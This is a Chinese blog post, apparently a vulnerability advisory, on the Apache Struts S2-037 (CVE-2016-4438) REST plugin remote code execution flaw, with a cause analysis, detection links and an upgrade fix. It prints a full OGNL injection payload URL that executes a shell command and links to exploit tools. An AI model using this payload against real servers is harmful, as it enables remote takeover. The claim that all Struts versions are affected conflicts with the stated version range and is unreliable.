您的位置:首页 > 编程语言 > Java开发

Struts(S2-037)远程代码执行

2016-06-16 19:08 330 查看
Struts(S2-037)远程代码执行

一、漏洞基本信息

CVE编号:CVE-2016-4438

漏洞名称:Struts(S2-037)远程代码执行

漏洞发布日期:2016.615

受影响的软件及系统:Apache struts  2.3.20  -  2.3.28.1 版本使用了REST插件的用户

漏洞概述:Apache Struts 2是世界上最流行的Java Web服务器框架之一。Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438,目前命名为S2-037。,黑客可以利用漏洞直接执行任意代码,绕过文件限制,上传文件,执行远程命令,控制服务器,直接盗取用户的所有资料,该漏洞广泛影响所有struts版本。

二、漏洞原理分析

      Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts
2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。漏洞建立在033的基础上,还是对method没有进行过滤导致的,但是033的payload的要做转变才能检测 ( 启用动态调用方法为true ;支持rest插件 )

rest介绍: 

      使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字 

      Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用 

攻击者可以使用REST插件调用恶意表达式实现远程执行代码。POC:
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=netstat-na

三、漏洞检测方法

1、漏洞检测地址1:  https://www.seebug.org/monster/

2、漏洞检测地址2:http://matrix.cubesec.cn/Public/scaning.html

3、使用工具直接检测1:https://github.com/ym2011/Some-PoC-oR-ExP/blob/master/Struts2/S2-037_CmdToolExP.py

4、使用工具直接检测2:https://github.com/7ym0n/security/blob/master/Web/s2-033-and-037-poc.md

四、漏洞修复方案

升级到Struts 2.3.29

五、漏洞修复结果验证

1、漏洞检测地址1:  https://www.seebug.org/monster/

2、漏洞检测地址2:http://matrix.cubesec.cn/Public/scaning.html

3、使用工具直接检测1:https://github.com/ym2011/Some-PoC-oR-ExP/blob/master/Struts2/S2-037_CmdToolExP.py

4、使用工具直接检测2:https://github.com/7ym0n/security/blob/master/Web/s2-033-and-037-poc.md

欢迎大家分享更好的思路,热切期待^^_^^ !!!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: